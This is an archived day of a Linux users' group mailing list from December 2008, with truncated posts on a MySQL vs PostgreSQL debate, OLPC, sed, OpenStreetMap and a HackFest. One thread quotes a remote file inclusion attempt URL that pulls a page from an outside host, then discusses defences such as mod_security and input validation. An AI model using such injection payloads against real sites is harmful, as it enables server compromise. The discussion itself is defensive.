Re: OLPC its back......

2008-12-03 Thread Tuna
James Finstrom wrote: give 1 get 1 olpc http://amazon.com/xo i know some did this in the past thought some would probably like to I already put on my Amazon wishlist. : If anyone cares to know, here's how to get to it. 1. Go to supertunaman.com with a World Wide Web page downloading

Re: Need a command or script

2008-12-03 Thread Dazed_75
der.hans, Finally got to look at your sed command this morning and even understood it after a minute or two. It worked great! I did refer to the man page to understand the options and that verified I could use the input file as an argument as I had thought. Thanks for the help! Eric, Your

MySQL premium services?

2008-12-03 Thread Joshua Zeidner
Hello, Has anyone here used MySQL premium services? Did you think they are a good value? -jmz --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings:

Re: MySQL premium services?

2008-12-03 Thread [EMAIL PROTECTED]
Use Postgres... :) Joshua Zeidner writes: Hello, Has anyone here used MySQL premium services? Did you think they are a good value? -jmz --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe,

Re: MySQL premium services?

2008-12-03 Thread Bryan ONeal
Oh Yha! DB War! I say use IBM DB2 9.5C. It's free, stable, well supported by the community, has an all you can eat support plan for $3K/yr/server and a number of built in features that make it an excellent enterprise platform. On Wed, 2008-12-03 at 16:53 -0500, [EMAIL PROTECTED] wrote: Use

PostgreSQL vs. MySQL, was: MySQL premium services?

2008-12-03 Thread Joshua Zeidner
you know I do see many of the advantages with Postgres, but the information is patchy. Can you link me some dependable comparisons? Many claim that MySQL is faster. Its not for a personal project, I need to provide real justification to management. The PostGIS extension is one of the major

Re: MySQL premium services?

2008-12-03 Thread Joshua Zeidner
hold on there... what do we mean by 'free' here? I expect a bit more sophistication in this department on PLUG. What is the license? -jmz On Wed, Dec 3, 2008 at 2:57 PM, Bryan ONeal [EMAIL PROTECTED]wrote: Oh Yha! DB War! I say use IBM DB2 9.5C. It's free, stable, well supported by

Re: PostgreSQL vs. MySQL, was: MySQL premium services?

2008-12-03 Thread Charles Jones
I shall now make a blanket statement such as; It is easier to setup replication with MySQL. :P --- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings:

Re: PostgreSQL vs. MySQL, was: MySQL premium services?

2008-12-03 Thread Joshua Zeidner
Actually we just got through that one... It seems that it is easier to set up, but the supported concepts for replication in PostGres are stronger. PG offered this feature very early on. -jmz On Wed, Dec 3, 2008 at 2:59 PM, Charles Jones [EMAIL PROTECTED] wrote: I shall now make a

Re: PostgreSQL vs. MySQL, was: MySQL premium services?

2008-12-03 Thread [EMAIL PROTECTED]
There are many possible reasons why to choose one over another, my specific one is last... I have never run personal tests against any, so I'll repeat you what I have read over the years: one used to be faster, the other one lacked features (depending of who you asked), my understanding is that

Re: PostgreSQL vs. MySQL, was: MySQL premium services?

2008-12-03 Thread Charles Jones
Eh, my last experience with setting up replication with postgres was not very fun. I have used Slony, and pgcluster, and pgpool. Setting up reliable replication with MySQL is a snap, and doesn't require any extra tools or daemons. In the past the biggest advantage of postgres over mysql was

Re: MySQL premium services?

2008-12-03 Thread [EMAIL PROTECTED]
Wars are GOOD!!! I didn't know about this one! :) I'll do some readings while I shop for grenades on ebay... 8) Enrique Bryan ONeal writes: Oh Yha! DB War! I say use IBM DB2 9.5C. It's free, stable, well supported by the community, has an all you can eat support plan for

Re: PostgreSQL vs. MySQL, was: MySQL premium services?

2008-12-03 Thread Charles Jones
[EMAIL PROTECTED] wrote: The final single reason why I went Postgres was backups. Back in the day when I did my research (this may have changed) you could not take a hot backup in MySQL without purchasing a commercial product, as opposite as Postgres that you can simply hot-backup a fully

Re: PostgreSQL vs. MySQL, was: MySQL premium services?

2008-12-03 Thread [EMAIL PROTECTED]
Back then when I researched the issue (about a year or so ago), you had to take the server down to get a consistent backup with the tools provided by MySQL. I haven't updated my research since... ET Charles Jones writes: [EMAIL PROTECTED] wrote: The final single reason why I went

Re: PostgreSQL vs. MySQL, was: MySQL premium services?

2008-12-03 Thread Joshua Zeidner
yep thats in accord with my current views on this space. It seems that when mysql went commercial, certain players in this space immediately converted to PG. But for my issues, we are dealing with support costs, and it seems that MySQL offers a bit more manageability. Many suggest PG over

OT: Website Exploits

2008-12-03 Thread keith smith
Hi, I am working on a website that gets a lot of exploit attempts. They mostly look like this:  /index.php?display=http://humano.ya.com/mysons/index.htm? Our code is set to disregard any value that is not expected.  I'm wondering if there is a clearing house for reporting this type of

Re: OT: Website Exploits

2008-12-03 Thread JD Austin
That is a fairly common tactic. It exploits poor input validation and register globals in PHP. Do yourself a huge favor and install mod_security (I assume you're using apache?) as an extra measure of security if you haven't already. On Wed, Dec 3, 2008 at 3:39 PM, keith smith [EMAIL PROTECTED]

REMINDER: OpenStreetMap Phoenix Mapping Party 12/6 12/7

2008-12-03 Thread Brandon Aguirre
Hey all, Reminder to join me at Gangplank's offices Saturday, December 6 and Sunday, December 7 from 11:00am-4:00pm for an OpenStreetMap Mapping Party. Since OSM is both free and Free, you can do really cool things with the data. (check out www.opencyclemap.org and www.openrouteservice.org

Re: OT: Website Exploits

2008-12-03 Thread keith smith
Thank you for the heads up on mod_security.  I'm not sure if that is installed or not. Thanks again! Keith Smith --- On Wed, 12/3/08, JD Austin [EMAIL PROTECTED] wrote: From: JD Austin [EMAIL PROTECTED] Subject: Re: OT: Website Exploits To: [EMAIL PROTECTED], Main

RE: OT: Website Exploits

2008-12-03 Thread Lisa Kachold
It appears as though someone is attempting to access http://humano.ya.com via a redirect.It's is probably not a real exploit but a miscrafted URL referral.Without more information related to the contents of your index.php, I can't tell you what exactly they are exploiting. However, since the

RE: OT: Website Exploits

2008-12-03 Thread Lisa Kachold
ModSecurity used to terminally slow down web systems adding a great deal of load while actually doing little denial and only verbose exploit logging assistance in return, while also opening the system to additional Denial of Service threat conditions.THIS HAS CHANGED, however there are still

RE: OT: Website Exploits - IPTABLES Deny Scripts

2008-12-03 Thread Lisa Kachold
1) Okay, you need to make your report - this a complete forensics of all the IP's with a complete log example to send to the their authorative technical and abuse contacts.2) You can use a script to drop all such exploits to the iptables deny file? It's going to look like something like this

RE: Website Exploits

2008-12-03 Thread Bob Elzer
Someone is trying to see if they can use your website as a proxy. Most likely the site that it is coming from has been compromised itself, so reporting may or may not get a response. In Apache you should turn off proxys so the bad guys can't hide their IP's by using you as an in between. But

Re: REMINDER: OpenStreetMap Phoenix Mapping Party 12/6 12/7

2008-12-03 Thread mike havens
you need to fix the zoom feature it does not zoom where you click. I would fix it if I knew how to do so. On Wed, Dec 3, 2008 at 5:55 PM, Brandon Aguirre [EMAIL PROTECTED]wrote: Hey all, Reminder to join me at Gangplank's offices Saturday, December 6 and Sunday, December 7 from

RE: OT: Website Exploits

2008-12-03 Thread Lisa Kachold
What index.php are you using? Is this WordPress?http://archive.cert.uni-stuttgart.de/bugtraq/2007/03/msg00030.htmlThere are many php exploits: http://archive.cert.uni-stuttgart.de/bugtraq/2007/03/msg00031.htmlwww.Obnosis.com | http://en.wiktionary.org/wiki/Citations:obnosis |

Re: REMINDER: OpenStreetMap Phoenix Mapping Party 12/6 12/7

2008-12-03 Thread Brandon Aguirre
If you mean OSM in general, there are a couple ways to zoom, (1) double-clicking on a point (2) Shift+left mouse click and draw a box around the area to zoom and (3) zoom bar (no brainer) If you're talking about something else, definitely let me know what it is so I can call attention to it

DECEMBER HackFest is REMOTE 12/13/08

2008-12-03 Thread Lisa Kachold
The PLUG December Linux Security HackFest is REMOTE New Targets will be provided. PLUG IDS testors and team encroachers will have an opportunity to demonstrate realtime system identification, tunneling and scanning via realtime conditions using Internet while accessing an example server and

RE: OT: Website Exploits

2008-12-03 Thread keith smith
It is a custom site.  Basically one page does it all.  Depending on what parameters/arguments are used in the URL will depend on what content is displayed.  I setup a switch to test the URL parameters against know values.  If no know value is entered to defaults to the 404 page.  I'm

Re: OT: Website Exploits

2008-12-03 Thread Joshua Zeidner
Am I the only one who noticed that you *did not* ask how to secure your site? ;) -jmz On Wed, Dec 3, 2008 at 6:17 PM, keith smith [EMAIL PROTECTED] wrote: It is a custom site. Basically one page does it all. Depending on what parameters/arguments are used in the URL will depend on

Re: MySQL premium services?

2008-12-03 Thread James Mcphee
Derby!!! http://db.apache.org/derby/ On Wed, Dec 3, 2008 at 3:09 PM, [EMAIL PROTECTED] [EMAIL PROTECTED] wrote: Wars are GOOD!!! I didn't know about this one! :) I'll do some readings while I shop for grenades on ebay... 8) Enrique Bryan ONeal writes: Oh Yha! DB War! I say use

Re: MySQL premium services?

2008-12-03 Thread Joshua Zeidner
that does not fit our requirements, but thanks. What ever happened to Daffodil? http://db.daffodilsw.com/ -jmz On Wed, Dec 3, 2008 at 7:15 PM, James Mcphee [EMAIL PROTECTED] wrote: Derby!!! http://db.apache.org/derby/ On Wed, Dec 3, 2008 at 3:09 PM, [EMAIL PROTECTED] [EMAIL

Re: MySQL premium services?

2008-12-03 Thread Randy Melder
I have used MySQL's paid service. They are the best and most knowledgeable ever. These guys will help you solve any problem from performance tuning to db modeling to query optimization. The real question is: Is it worth the money? - that depends on gig at the moment and who's paying the bill. ; )

RE: Website Exploits

2008-12-03 Thread Bryan O'Neal
I too would be interested in knowing this. I used to get these sorts of php attacks all the time. Along with tons of other common exploits. Since I use a custom java app I was not too worried, but I also took advantage of the fact that our service is only available to US and Canada and cut out